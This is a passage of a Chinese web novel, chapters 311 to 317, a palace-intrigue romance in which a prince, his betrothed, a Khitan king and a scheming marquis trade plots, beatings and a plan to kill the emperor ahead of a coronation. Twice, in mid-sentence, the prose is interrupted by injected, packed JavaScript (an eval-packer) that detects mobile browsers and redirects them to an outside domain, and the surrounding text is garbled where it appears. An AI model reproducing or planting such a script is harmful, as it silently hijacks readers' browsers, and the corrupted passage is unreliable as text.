“我父亲从没得过肺痨,他的身体状况一直由府医和我照料,好得很,所以这具尸体,肯定不是他。”秦时月断定。 闻言,宋墨辰松了口气,“看来我们得着重调查着火一事,还有这具尸体的身份。” 周围人纷纷惊讶地看着秦时月,神情复杂。 这具尸体不是长乐侯,那长乐侯去哪了? “传我命令,即刻封城,各城门严查出入人员,务必找到长乐侯!”宋墨辰命令道。 吉时已定,若是找不到长乐侯,按规矩,秦时月得为父守孝三年,这婚就结不成,他绝对不允许这种情况的发生。 侍书连忙应下,“属下记下了,这就去安排!” 说罢,侍书连忙组织一队人马前去寻找长乐侯的踪迹。 仵作赞赏的看向秦时月,心中不由得钦佩。 宋墨辰接过手下递来的干净帕子,转而递给秦时月,“擦擦吧,雨打湿了。” 秦时月接过帕子,擦了擦脸上的雨水,“谢谢你,方才没拦着我。” “我知道你要做的事,肯定有你的道理。”宋墨辰笑了笑,“接下来,我们一起查。” 长乐侯若是真的活着,躲起来未必是为了避祸,指不定又在打什么算盘,若是让他和耶律良才见面,怕是…… “我只是怕,他故意躲着,想要做什么。”秦时月叹了口气,眼神中有些担忧。 她念着父女之情,没有对长乐侯痛下杀手,可他却总安分不下来,此时更是谋划了一出火灾,不知他到底想干什么! 早知如此,她就该命人将他绑起来,然后多派些人手看管。 “小姐,王爷,时候不早了,墓园里湿气重,还是先回府吧。”小荷搓搓手臂,劝说道。 这里阴气重,她真怕她家小姐不适。 秦时月看了眼天空,小雨还在下,再留下去也没有什么意思,便点了头,“走吧,回府。” 与此同时,京郊小院中。 只见长乐侯身穿粗布麻衣坐在竹椅上,悠哉悠哉的吃着糕点。 院外突然传来声响,长乐侯立即警惕起来,下意识的拿起桌上的菜刀。 直到看清来人,他才松了口气。 “你怎么才来?这破地方连口干净水都没有,再待下去,我没被宋墨辰找到,先饿死渴死了!” 耶律良才笑了一下,走到石桌旁坐下,将带来的食盒放在桌上。 “侯爷看起来,心情似乎不错。”耶律良才拿起个馒头递过去,戏谑道:“此时不是挑剔的时候,能从墓园里逃出来,有口热食就该知足了。” 听到这话,长乐侯的脸色瞬间黑了下去。 “那个孽种竟敢把我关在墓园里,让我守着个死人!我是她父亲,是堂堂长乐侯,她凭什么这么对我!” “若不是侯爷您一事无成,秦时月也不会去投靠宋墨辰。”耶律良才打断他。 “你少在这里说风凉话!若不是秦时月那个死丫头处处跟我作对,侯府怎么会落到今天这个地步!” 耶律良才恼怒地看了长乐侯一眼,语气不善,“我不希望从你嘴里听到侮辱明月县主的言论,若是侯爷记不住,修怪我不留情面!” 说完,耶律良才将腰间的匕首抽出来在手上把玩,长乐侯吓得立即闭上了嘴。 “我能怎么办?我现在就是个废人!侯府被秦时月把持着,连我儿子秦怀瑾都被宋墨辰抓走了,生死不知。” 提到秦怀瑾,他的声音哽咽了些,“都是宋墨辰那个逆贼!若不是他,我怎么会落到这步田地!” 耶律良才看着他这副怨天尤人的模样,眼底闪过一丝冷芒。 “只要侯爷肯合作,我能帮你救回秦怀瑾,还能帮你报仇。” 长乐侯猛地抬头,疑惑地问道:“你能救怀瑾?你怎么救?不对,你是契丹人,突然帮我,肯定没安好心!” “侯爷倒是精明。”耶律良才笑了笑,“我确实有我的目的,我刚继承契丹王位不久,根基还不稳,宋墨辰如今权势滔天,若是再娶了县主,将来必然会成为契丹的劲敌,我帮你,不过是不想多一个对手罢了。” “至于救秦怀瑾,你放心,契丹的死士最擅长救人,只要我想,别说王府,就是皇宫大内也能来去自如。” “说吧,你想要什么?”长乐侯问道。 他现在一无所有,他不相信耶律良才会什么都不图的帮他。 “我想要什么,侯爷不知道吗?”耶律良才笑了一下,主动给自己倒了杯茶水。 他想要秦时月。 长乐侯到底是秦时月的生父,耶律良才认定,有他在,得到秦时月的概率会大些。 长乐侯知道他对秦时月的心思,他费劲把自己救出来,必然是想破坏秦时月和宋墨辰大婚。 第312章 得到惊天消息 既然他们敌人一致,他自然是要帮忙的,若是能借着耶律良才的力量扳倒宋墨辰,不仅能救出秦怀瑾,说不定还能重新掌控侯府,让那些看不起他的人刮目相看! “好,我答应你。”长乐侯深吸一口气,“不过,我有个条件,你必须先救出怀瑾。” 耶律良才满意道:“一言为定,侯爷放心,三日之内,我一定让你父子团聚。” “希望你说到做到。” “侯爷尽管放心,这几日你就安心待在这院里,别出门,我会让人给你送吃的和换洗衣物过来。” 说罢,耶律良才站起身,整理了一下衣袍,转身走向门口。 长乐侯坐在竹椅上,看着桌上的酱肉咸菜和馒头,慢慢啃着。 他要活着,要等着救出秦怀瑾,要等着向宋墨辰和秦时月复仇。 院外的巷子里,耶律良才站在马车旁,看向院内。 “主子,已经查清楚了,秦怀瑾被宋墨辰关在王府暗室。”死士躬身道:“只是王府府兵太多,想要悄无声息地把人救出来,难度很大。” “不用悄无声息。”耶律良才摆了摆手,“只要让长乐侯以为我们已经把人救出来就行。” “……属下明白。”死士躬身退下。 耶律良才走上马车,撩开车帘,看向远处的侯府方向。 时月,你真的以为能嫁给宋墨辰吗? 这场戏,才刚刚开始! 领了命令的死士趁夜赶到辰王府,却在绕过书房转角时,听见了里面传来窸窸窣窣的谈话声。 原本死士没想多管,但多年来的习惯让他养成探听情报的肌肉记忆。 书房内的,正是宋墨辰和侍书。 “礼部送来的大婚流程再复盘一遍。”宋墨辰的面上难得带着几分喜色,“钦天监选的吉时定了哪日?” 侍书回禀,“回王爷,钦天监说后日卯时最吉,迎亲队伍从正街走。” “还有封后的旨意草稿,礼部问要不要提前备好,等登基后一起昭告天下百姓。” 听到“登基”二字,死士愣了一下。 他悄悄往窗缝凑了凑,想听得更清楚些。 “当然,但不是登基后,而是一起。”宋墨辰笑道:“登基和大婚、封后,同时进行。” “王爷,还有件事,后宫那边来报,今日陛下又不肯用膳,说要见您,否则就自戕,要不要派个人去劝劝?” 皇帝被宋墨辰软禁在后宫! 死士心头一惊。 这消息一定要尽快带回去给王! “劝什么?他想死,就让他死。”宋墨辰不屑道。 原本他是想要了皇帝性命,但他毕竟是自己的父皇…… “可若是传出去,说您幽禁陛下,怕是会让那些大臣们找到发难的理由。” “传不出去,后宫里的人都是本王亲自选的,谁要是敢多嘴,直接按通敌罪处置。”宋墨辰笑了一下,修长的手指漫不经心的敲击在桌面上。 后宫中有母后帮他看着,宋墨辰并不担心。 听到这话,死士眼神震颤。 知道不能再待下去了,若是被发现,不仅自己性命难保,还会坏了王的大计。 他不动声色往后退了半步,本想离去,脚底却不小心踢到石子,发出了清脆的动静。 “谁!?”侍书喊了一声,宋墨辰面色阴冷,眼底汇聚起浓烈的杀意。 死士屏住呼吸,趁着门还没打开,猛地转身,翻墙而走。 侍书出门查看一番,没看到什么异常,这才转身回来禀报,“王爷,没人,许是夜猫子碰到了石子。” “小心点,最近多派些人手巡逻,别让闲杂人等靠近书房。” “是,属下这就去安排。” 死士连忙离开王府后径直朝着驿站跑去。 不一会儿他便赶回了驿站。 “王,属下没能救回秦怀瑾,还请主子责罚。” 听到声音,耶律良才抬起头,毫不意外,“没救出来也好,本就没指望真把秦怀瑾带出来。” “主子,属下听到了个消息……”紧接着,死士便将在王府听到的消息一字不落的说了出来。 “皇帝……”耶律良才站起身,看向皇宫的方向,笑了一下,“想不到,宋墨辰竟然把皇帝幽禁在后宫寝殿,不好好利用一下,岂不是对不起他?” “王是想救出皇帝?可后宫的守卫肯定很严。” “守卫严,才说明宋墨辰在意。”耶律良才走到案前,“皇帝是真龙天子,怎么甘心被自己的儿子幽禁?只要我们给他机会,他必然会想夺回权力。” 虽然靖垣的兵力都在宋墨辰手上,即使将皇帝救出来,也不能保证他能重掌大权,但只要能搅乱宋墨辰的大婚就可以! 若是大婚当天皇帝突然出现,当着满朝文武和百姓的面揭露宋墨辰幽禁他的罪行,宋墨辰的名声会必然一落千丈。 说不定,那些大臣也会站出来反对他。 再加上耶律良才手上还有长乐侯。 若是能一边让皇帝出面揭露宋墨辰的罪行,一边让长乐侯散布宋墨辰以权霸女的谣言,双管齐下,就算宋墨辰势力再大,也挡不住这么多压力。 他的婚事黄了,不仅秦时月会是他的,就连契丹也会少个劲敌。 “王上英明!” 耶律良才摆摆手,“先让人去给长乐侯送个信,就说王府内守卫太严,暂时没法救人,但我们有更好的办法帮他报仇,让他再等等。” “是,卑职这就去办!” 说完,死士快步走了出去,带上了房门。 驿站里只剩下耶律良才一人,他拿起桌上的茶杯抿了一口。 长乐侯有恨,皇帝有怨,这两个人就是两把最好的刀,只要用得好,就能把宋墨辰的算盘搅得鸡犬不宁。 另一边,长乐侯府内。 揽月园中并未熄灯,秦时月坐在床前,心事重重的看向窗外的老槐树。 影夜悄无声息的出现,“王妃,属下看到耶律良才的人潜入过王府,虽没闹出动静,但看踪迹,像是在书房附近逗留过。” “确定是耶律良才的人?”秦时月挑挑眉。 果然,让影夜跟着耶律良才是对的。 第313章 逗弄老婆 “确定,那人身形和契丹死士的路数一致。”影夜低着头,“只是对方动作太快,没留下更多线索,暂时不知道具体目的。” 耶律良才敢派人潜入王府,必然是有针对宋墨辰的阴谋,如今登基大典与婚期将近,绝不能出任何岔子! “备车,去王府。”秦时月起身走了出去。 这事得立刻跟宋墨辰说,让他做好防备,万不能被耶律良才钻了空子。 “是,属下这就去安排。” 半个时辰后,秦时月的马车停在王府侧门。 她没让人通报,径直往书房走去。 看到她这么晚过来,宋墨辰有些惊讶,“这么晚了,你怎么来了?” 看到秦时月的那一刻,他就无法控制自己的心,他想要靠近她,忍不住逗逗她。 “有急事跟你说。”她走到案前,低声道:“影夜看到耶律良才的人潜入过王府,还在你书房附近待过,你可得多派些人手巡逻。” “别急。”宋墨辰眉头紧锁,想起了傍晚的异响。 他在心里冷笑一声,起身拿起一杯茶水递给她,声音平静,“先喝点水润润嗓子。” “呃,好。”秦时月点头,伸手想要接过那杯水。 宋墨辰却突然将茶杯递到自己的另一只手上,然后放下,抬手摸上她的耳垂。 秦时月被他突如其来的动作弄得一愣,往后退了半步,下意识想避开他的手。 “我是说正事,耶律良才的人……” “我知道。”宋墨辰上前一步,重新拉近距离,“他来的时候我便发现了,不过当时没注意。没想到,你会这么急着来告诉我,是怕我出事?” 耳垂上作乱的手和他撩拨的话让她脸颊泛红,眼神闪躲,“我是怕他搅乱登基大典。” “哦?只是怕搅乱登基大典?”宋墨辰俯身,“就没一点,是担心我?” 秦时月的心跳瞬间乱了,手脚都有些僵硬。 “我,我就是来提醒你,你多注意就好,时间不早了,我该走了。” 说完,她转身就要往外走,却被宋墨辰拉住手腕。 “这么晚了,不安全。”宋墨辰笑道:“府里有空着的院落,我让人收拾一下,你今晚就住这儿,明日再回去。” “不用了,侯府的马车就在外面。” 可宋墨辰没有放手,反而轻轻拉了拉她的手腕,让她转身面对着自己。 他有些情不自禁的想要贴近秦时月,“你方才说耶律良才的人在附近晃过,万一你回去的路上遇到危险怎么办?我不放心。” 她想反驳,却找不到合适的理由,只能低着头,“男女授受不亲,我们还未成婚,深夜留宿,传出去不好。” “有什么不好的?”宋墨辰轻笑,“再过几日你就是我的皇后了,住自己夫君的府里,天经地义。还是说,你不想与我成婚,做我的皇后?” “别乱说。”秦时月连忙打断他,用力挣开他的手,转身就往门口跑,“我回去了,你自己多小心!” 话音未落,她推开房门,落荒而逃。 看着她慌乱的背影,宋墨辰怔怔的低头看了看刚刚抓过秦时月的手,眼神有些晦暗。 待门口的脚步声消失,他眸色深沉的喊了一句,“影夜。” 影夜近两年一直跟在秦时月身侧,他已经记不清自己有多久没给他安排过任务了。 “王爷。”影夜一现身就恭敬的单膝跪地,他心情激动,面上却如常一般,让人看不出半分情绪。 “去给耶律良才送份大礼……” 影夜愣了一下,随即反应过来,“是,属下这就去办!” 驿馆内。 耶律良才打开桌上的锦盒,锦盒内摆放着一张人皮,人皮上刻着专属于契丹将士的花纹。 “宋墨辰倒是会挑东西。”耶律良才低嗤一声,眸子里闪过一丝杀意。 该死,他竟然敢把这个送给自己! 这分明是赤裸裸的威胁! 不过,他以为送片带花纹的皮肉就能吓到自己,让自己放弃?绝对不可能! 他耶律良才能排除万难在契丹草原上登基,靠的可不止是胆大。 耶律良才走到窗边推开木窗,看向辰王府的方向,眼神讳莫如深,“靖垣的龙椅,哪有那么好坐?宋墨辰,咱们来日方长。” 宋墨辰只是送了个皮肉警告他,并没对他动手,足以说明,宋墨辰现在拿他没办法。 冷风吹进驿馆,灯烛的火苗晃了晃,却没熄灭。 “时月的人和心,本王会一点一点,都拿到手。宋墨辰,这场戏,既然开了头,就别想轻易落幕!” 与此同时,城郊宅院内,长乐侯依旧坐在那张木椅上,眼神直勾勾地看向门外。 昨夜耶律良才曾派人通知他,说是契丹暗卫已潜入王府,相信不出片刻就能将秦怀瑾救出来。 可他等了一夜,却始终不见怀瑾的身影。 难不成耶律良才是骗他的? “怎么还没来?”念头一起,长乐侯更加坐立难安。 他站起身,脚步踉跄地凑到门边,贴着门缝往外看。 被耶律良才关进院子后,他便失去了人身自由,耶律良才美其名曰是为了保护他,只是院外,有几个契丹的护卫把守。 如今看来,可不仅仅是要保护他这么简单! “劳烦通传一声,我想见契丹王。”长乐侯朝着门外说道。 他想要亲自问问耶律良才,怀瑾究竟有没有被平安救出! 墙外的护卫像是没听见,不给予丝毫回应。 见状,长乐侯有些恼怒,冷着脸道:“我要见你们大王,赶紧去通报,你们大王一定会见我的!” 闻言,护卫抬眼瞥了眼门板的方向,声音带着不耐烦,“侯爷安分点吧,大王有令,没有他的命令,你谁也不能见。” “我有急事!”长乐侯吼了一嗓子。 “这么晚了,侯爷还是快去休息吧,有什么事,明日再说。”护卫冷哼一声。 他们可不是他长乐侯的人,他这侯爷的架子在他们这,没有任何威慑力。 “我儿子还在辰王府的暗室里,耶律王爷之前说会帮我救人,现在怎么连面都不肯露!?他当初可不是这么说的!”长乐侯怒吼。 第314章 弑君弑父 当初说的好好的,现如今却不见踪迹! 好一个耶律良才! “我们只负责看着你,别的管不着。”护卫顿了顿,嘲讽道:“再说了,秦公子命运如何,我家大王可不负责,说不定,他早就被辰王杀了。” “你住口!”长乐侯打断他。 他不敢想秦怀瑾死了自己该怎么办。 如今整个侯府都被秦时月和芳娘那两个贱人把控住了,秦怀瑾是他唯一的念头,若秦怀瑾出事,秦家就彻底完了! “你们不能这样!”长乐侯怒气冲冲的拍着门板,“耶律良才答应过我,只要我帮他,他就救怀瑾出来!现在他把我关在这里,连句话都没有,算什么意思?这是反悔了吗?” 门外的护卫终于没了耐心,抬脚踹了下门板。 “侯爷别不识好歹!”护卫的声音陡然变厉,“王让你在这里安心待着,有吃有喝,已经是给你面子了,再闹,我们可就不客气了!” 虽然王对长乐侯有些尊敬,不过他们心里清楚的很,王是看在长乐侯是明月县主父亲的份上。 长乐侯攥紧拳头,目眦尽裂。 他知道这些护卫是耶律良才的人,下手狠辣,可他不能就这么等着。 秦怀瑾还在等着他救,他若是什么都不争取,秦怀瑾就真的没希望了! 可无论他怎么叫嚷,门外的护卫都不再理会他,无奈之下,他退到院子里,决定从长计议。 察觉到院内没有动静后,护卫长冷哼一声,放松下来。 长乐侯思来想去,突然想起后院似乎有个小角门,旁边的墙不高,只要能避开护卫的视线,说不定能逃出去。 想到这,他眼神微亮,临近天亮,他悄悄起身来到后院角门旁边,尽量不发出一点声音。 他借着月光看清了那道墙,果然只有一人多高,墙边还摆着两个大水缸,正好方便他逃走。 长乐侯没再多想,小心翼翼地踩着水缸往上爬。 只要翻过去,就能顺着墙外的斜坡滑下去,就能去找耶律良才,问清怀瑾的消息! 就在长乐侯快要爬到墙头上时,身后突然传来护卫冷沉的声音。 “侯爷想往哪去!?” 闻言,长乐侯浑身一僵,立即回头。 只见两个护卫举着灯笼站在后院门口。 “我就是出来透透气。”长乐侯下意识地辩解。 “透透气需要爬墙?”护卫冷笑一声,上前两步,动作迅捷的伸手拽住了他的脚踝,“侯爷当我们是傻子吗?” 长乐侯挣扎着想要甩开,可身体悬在半空,根本使不上劲。 “放开我!我要见耶律良才!我要知道怀瑾的消息!你们让我走!” 护卫眼神一沉,猛地往下一扯,长乐侯重重地摔在地上,他咳了两声,嘴角溢出些许血迹。 见状,另一个护卫走上前,一脚踩在长乐侯的背上。 “大王说了,你要是老实待着,还能有口饭吃,要是敢跑,就别怪我们不客气!现在,你是自己乖乖回去,还是要我们动手?” 长乐侯趴在地上,胸口被踩得喘不过气,不死心的道:“我就是想知道怀瑾是不是还活着……” “晚了。”护卫冷笑一声,蹲下身,从腰间抽出一根手腕粗的木棍。 “王早就料到你会不安分,特意吩咐过,要是你敢逃跑,就打断你的腿,让你再也跑不了!” 闻言,长乐侯瞪大了眼睛,挣扎着想要躲开,可却被侍卫牢牢的压着,根本动弹不得。 “不要!我不跑了!我真的不跑了!你们别打我!”长乐侯的声音里充满了恐惧。 他知道耶律良才心狠手辣,但他一直认为耶律良才对秦时月有情,不会对他太过狠辣,可如今他才知道,什么叫与虎谋皮…… 可护卫根本不听他的求饶,举起木棍,朝着他的右腿狠狠砸了下去。 “啊!” “还跑吗?”护卫冷哼一声,语气冷漠。 长乐侯疼得浑身发抖,连话都说不出来,只能死死咬着嘴唇。 他知道,自己的腿,断了,他再也跑不了了。 “侯爷,何必呢?只要你听话,我们就不会对你动手,现在这样,吃苦的还是你自己。” “我,我要见耶律良才。”长乐侯一身冷汗,但还是不死心的开口。 一来,他不信耶律良才会这么对他,二来……他如今唯一的活路,就在耶律良才手上,他必须要见到他! “王现在没空见你,要是你再敢跑,断的就不是一条腿了!来人,把侯爷送回去!” 护卫上说完,眼睁睁看着几人将他扔回了房间。 长乐侯被护卫打断腿一事传到耶律良才耳中,但他并不在意。 只要他活着就好,至于他是否被废,耶律良才并不关心。 他现在要做的是营救被困在后宫里的皇帝,只要把皇帝救出来,宋墨辰的计谋必然会失败,届时,不只秦时月是他的,整个天下,说不定都是他的! 可耶律良才不知道的是,宋墨辰已经知道了他的计划。 辰王府书房内。 宋墨辰看着书案上的那张纸条,不屑的冷笑了一下。 这是暗卫方才递上来的,倒是他小瞧了耶律良才的胆子。 作为契丹王,竟然想要在靖垣算计他,简直是不想活了。 侍书端着茶走进来,见宋墨辰久久不动,轻声道:“王爷,茶凉了,再换一盏吧?” 宋墨辰没抬头,语气淡淡,“侍书,你说,人要是想做一件两全其美的事,却要担着杀头的风险,这买卖划算吗?” 听到这话,侍书愣了愣,心里隐约有了数,却不敢乱猜,“王爷心中自有筹谋,只是不知是哪两全?” “一全,除了眼前的隐患。”宋墨辰抬头,眼神戏谑,“二全,拿这个隐患当梯子,踩上去,够到更远的东西。” “耶律良才想救父皇,他以为救了父皇就能借父皇的名头搅乱靖垣,算计本王,可他没算到,我在等着他动手。” 宋墨辰修长的手指没有节奏的叩击在桌面上,沉闷的声音让人有些失神。 “王爷的意思是,要截杀那些死士?可若是打草惊蛇,耶律良才说不定会换别的法子。”侍书担心道。 第315章 来者不善 昨日夜间王妃来过,王爷已经知道了耶律良才派人进王府是事,如今,王爷应该是有了筹谋。 或许是想,将计就计,反过来算计耶律良才? “呵。”宋墨端起冷茶喝了一口,“太便宜他了,耶律良才想借父皇做文章,我何不借他的手,做一件更彻底的事?” “王爷,您是想……” 侍书没敢说下去,那念头太过疯狂,他不敢想。 “听闻父皇近日有些不消停。” 原本看在血脉相连的份上,他是想要留皇帝一命的,但皇帝的心思太深,再加上耶律良才又有谋划,所以皇帝这条命,没必要留着了。 “朝堂上那些老臣表面臣服,可本王知道,他们根本没有把本王当新君,耶律良才救父皇,恐怕是想让他做傀儡。若是父皇**,死在契丹人手里……” 侍书心中一跳,担忧道:“王爷!三思啊,弑君弑父的罪名一旦沾了就是千夫所指!万一走漏风声,您苦心经营的一切就全完了!” 谁能确定,此事嫁祸给契丹后不会有暴露的可能? 王爷马上就要登基了,实在没必要冒这个风险…… “我知道。”宋墨辰语气平静,“所以才要谋算,要让一切看起来天衣无缝,你说,如果此事成了,朝堂上下,会是什么反应?” 侍书跟着他多年,知道自家王爷心思深沉,算无遗漏,可此刻,侍书还是忍不住为他担心。 “只有他死在契丹人手里,靖垣上下同仇敌忾,才能有机会实现大统。” 侍书知道宋墨辰说得对,可那毕竟是弑君之罪,一旦有任何差池,后果不堪设想。 “本王要好好想想,该怎么利用耶律良才……”宋墨辰冷笑。 “是。”侍书点头,“属下明白。” 既然是王爷想做的,那他必然要帮王爷! 宋墨辰站起身,拿起那张纸条,将其置于烛火上,眼看火舌舔舐纸条,最后化成一滩灰烬,“耶律良才,想对付我,没那么容易。” “好了,你先下去吧,按照我说的去安排。记住,一定要小心,不能出任何差错。” “是,属下告退。”侍书躬身退出书房。 因为要处理耶律良才一事,宋墨辰变得忙碌起来,一连七天,秦时月都未曾见到宋墨辰的身影。 她知道宋墨辰正在忙什么,影夜和她说过耶律良才的计划。 秦时月懂他,自然清楚他不是那种逆来顺受的性子。 “小姐在想什么呢?”小荷站在一旁,“您盯着这账本看了快一个时辰,也没见您动笔。” 秦时月回过神,抬手揉了揉眉心。 “没什么,就是在想,长乐侯被藏了这么久,至今没有任何消息,是不是方向错了。” 正说着,院外传来下人的通报,“小姐,契丹王耶律良才来访。” 闻言,秦时月挑了挑眉头。 他来做什么? 真是让人意外。 “请他到花厅等候,我换件衣裳就来。” 等她换完衣服赶到花厅时,耶律良才正站在窗边,看着花厅中的花。 “你今日怎么有空过来?”秦时月走上前,脸上没有什么表情。 耶律良才转过身,目光落在她身上。 “先前生病一直没来得及过来感谢县主,今日我身体大好,特意过来道谢。” 他说的冠冕堂皇,但那双落在秦时月身上的眸子里,似乎有什么在涌动。 秦时月走到主位坐下,小荷奉上茶后退到了一旁。 “不必言谢,作为医者,救助病人是应该的,更何况,是太医院的太医救了你。” 上次见他,他满眼都是自己,身上还带着点少年人的意气,可今天他眼神有些散,连说话都比平时慢了半拍,像是在刻意掩饰什么。 “听闻长乐侯去世,县主节哀,注意身子。”耶律良才坐到一旁,拿起桌上的茶喝了一口。 秦时月无心和他多说废话,但又不得不搪塞,“多谢契丹王记挂,父亲走得安详,我不过是尽些做女儿的本分。” “县主倒是豁达。只是听闻靖垣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼睛微眯,她挑眉道:“等处理完父亲的后事,我就会和辰王大婚,皆时,契丹王可要来吃杯喜酒呀。” 耶律良才显然是受到了刺激,他面色难看的看着手中的茶杯,手指不自觉收紧,手背上青筋毕现。 “时辰不早了,契丹王若是没有别的事,我就不送了。”秦时月起身,看向门口的方向。 耶律良才站起身,目光落在她身上,想再说些什么,可看着她疏离的眼神,终究还是把话咽了回去。 第316章 耶律良才破防发疯 “那我就不打扰县主了,若是县主有任何需要,随时派人去找我。” 他将自己的身份放的如此低,只是为了让她看看他,可是她的眼里……始终容不下一个他。 等他走后,小荷忍不住开口,“小姐,您是不是觉得契丹王有问题?” 秦时月点头,“他今天很不对劲,我怀疑,父亲一事,和他有关。” 小荷担忧道:“那要不要告诉王爷?让王爷多留意些?” “不用。”秦时月摇了摇头,“我们自己查。” 离开长乐侯府后,耶律良才没回驿馆,而是直接骑马赶到城郊宅院。 为什么长乐侯都“死”了,时月却依旧想要和宋墨辰完婚,凭什么! 如今看来,长乐侯就是个废物,一点用都没有! 既然长乐侯没有用处,那他留着他作甚!? “把人带出来。”耶律良才站在院中。 护卫不敢耽搁,连忙将长乐侯架了出来,他的右腿被打断,只能狼狈的被迫拖拽着前行。 “耶律良才!”长乐侯被推倒在耶律良才面前,“你找我,是怀瑾有消息了吗?” 耶律良才居高临下的看着他,眼神凶狠,“你还指望有消息?” 不等长乐侯反应,耶律良才突然抬起脚,重重踩在他没受伤的左腿上。 “啊!”长乐侯疼的惨叫出声。 “本王今天去见了时月,你猜她怎么说?” “那个逆女说什么了!?” “她说,她不在乎守孝三年的规矩。”耶律良才蹲下身,伸手捏住长乐侯的下巴,强迫他抬头看着自己,“她说,等处理完你的后事,就和宋墨辰成婚。你听听,后事,你这个做父亲的在她眼里,连半分分量都没有!” “不,不会的。”长乐侯瞳孔震颤,拼命摇着头。 耶律良才冷笑一声,松开手,从护卫腰间抽出马鞭。 下一秒,他扬起马鞭,重重抽在了长乐侯的背上,长乐侯发出一声凄厉的痛呼。 “没用的废物!”耶律良才的怒火越来越盛,马鞭一下接一下抽在他身上,“本王留着你还有什么用!?” 护卫站在一旁,看着长乐侯被打得浑身是血,嘴角忍不住噙着冷笑。 “求您,别打了……” 长乐侯能够感觉出来,耶律良才是下了死手的,他知道,现在只有服软才有可能保住性命,才能有机会见到怀瑾。 至于和耶律良才的合作,他早已后悔。 从被关在这座宅院,右腿被打断时他就知道了,自己这是在与虎谋皮。 可后悔又能怎样?他已经没有退路了。 耶律良才看着他讨饶狼狈的模样,心里的怒火稍稍平息了些,他将马鞭扔给护卫,不再看长乐侯,转身朝着院外走去。 走到门口才冷哼一声,“给他上些伤药,不必医治,死不了就行!” 护卫连忙上前,架起浑身是伤的长乐侯往柴房拖去。 …… 揽月园。 秦时月神情呆滞的看着花房才送来的百合花,脑海里不自觉想起方才与耶律良才的谈话。 她总觉得,耶律良才知道些什么。 难不成,墓园火灾一事,和他有关? “小姐还在想侯爷的事吗?”小荷为她添上一杯新茶,问道。 秦时月回过神,“我在想,我那个好父亲最在乎的是什么。” 如今侯府尽在掌握,他谋划假死逃生,合该是为了侯府,为了长乐侯这个虚职。 除此之外呢? 对了,秦怀瑾! 当初他为了救秦怀瑾,不惜独闯王府,甚至冒险放火,可见她那个好大哥在他心里,还是有一定分量的。 小荷愣了愣,随即反应过来,“小姐是想用大少爷引侯爷现身?” “没错。”秦时月点头,“我那个好父亲如今不知道藏在哪里,我们要找到他不易,可若是秦怀瑾出事,他一定会现身。” 说完,她看向小荷,嘴角挂着一丝冷笑,“让人散播消息,就说秦怀瑾意图谋害辰王,证据确凿,不日处决!” “奴婢明白,这就去安排。” 当初他能为了秦怀瑾闯王府,现在秦怀瑾要被处决, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290992|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就算拼了命,也会出来。 眼下,这是找到长乐侯最快的办法。 不多时,小荷折回来汇报,说已经命人将消息在京城内的各酒肆里散播,不少人都在议论秦怀瑾即将被处决的事。 闻言,秦时月微微点头,“知道了,让下面的人盯紧点,一旦有父亲的动静,立刻来报。” 她走到窗边,推开半扇窗,勾唇轻笑。 接下来,就等她那个好父亲上钩了。 她就不信他真的能眼睁睁看着秦怀瑾**。 另一边,城外院子内,耶律良才刚听完手下的汇报,嘴角微勾,眼神没有任何波澜。 他根本就不在乎秦怀瑾的死活。 “大王,这消息在京城传得沸沸扬扬,要不要派人救他?”侍卫站在一旁,看着耶律良才淡然的模样,忍不住多嘴问了一句。 “万一长乐候听到消息闹起来,怕是不好收场。” 耶律良才抬眼,眼神轻蔑,“闹?本王留着他不过是想让他当个幌子牵制秦时月和宋墨辰,可本王高估了他在秦时月心中的地位,既然他们无用,那他和秦怀瑾的死活,与本王何干?” 亲卫愣了愣,才反应过来他的意思。 想到什么,又忍不住多嘴,“可若是长乐侯知道消息,非要去救秦怀瑾,咱们的人拦不住怎么办?毕竟他之前为了秦怀瑾,连辰王府都敢闯。” 长乐侯是瘸了,不是**,留着,总归是个未知数。 耶律良才低嗤一声,“那就不用拦,一个连自己都保不住的废物,甚至不用咱们出手。” 他要的,从来不是长乐侯这个棋子,而是借他的手让宋墨辰顾此失彼。 长乐侯若是聪明,就该老老实实躲着,他若是执迷不悟要跑,死在外头,不过是分分钟的事。 亲卫看着耶律良才眼底的冷光,终于不再多言,“属下明白了,这就去吩咐下面的人。” “嗯。”耶律良才应了一声。 秦怀瑾也好,长乐侯也罢,不过是他棋盘上无关紧要的弃子,唯有秦时月和这天下的归属,才是他真正在意的东西! 第317章 大赦天下,颁布新律 三日后,秦时月依旧没有长乐候的消息,宋墨辰也在囚禁秦怀瑾的地方安插上不少人手,可始终不见长乐候的踪迹。 登基大典在即,他等不起。 距离钦天监算的吉日已经到来,若是此时不登基,下次吉时要在半个月后,半个月,变数太大,宋墨辰赌不起。 原本他想着登基大典和大婚一起举行,现在看来是行不通了,那就暂时委屈一下月月,等他登上那个位置,更改靖垣律法,届时,也可以让月月尽快嫁给自己。 靖垣三十七年,辰王府的朱漆大门换上明黄绸缎,皇宫内站满身着朝服的文武百官。 宋墨辰身着龙纹冕服,一步步踏上通往太极殿的白玉石阶。 长乐侯仍无下落,秦时月的婚事只能暂缓,这登基大典对他来说,终究少了几分圆满。 “王爷,吉时到了。” 宋墨辰回过神,眼神暗了暗,没有回话,只是坚定的踏上最后一级石阶。 殿内钟鼓之声骤然响起,他停下脚步霸气回身,不怒自威的看向文武百官。 “传朕旨意,即日起,大赦天下,并礼法有变!亲疏故去,无需恪守三年守孝之礼,愿守者听其自便,不愿守者,亦不做强求!” 一个老臣面上难看,与身后的大臣交头接耳连,“这不合祖制啊,历代先帝皆以孝治天下,陛下如今废除守孝之礼,就不怕引来朝堂非议吗?” 声音不大,但宋墨辰对此早有准备,他睥睨下方,居高临下道:“祖制也需顺时变通。孝在心,不在形,若因教条束缚,让生者受苦,反倒是违背了孝道的本意。” 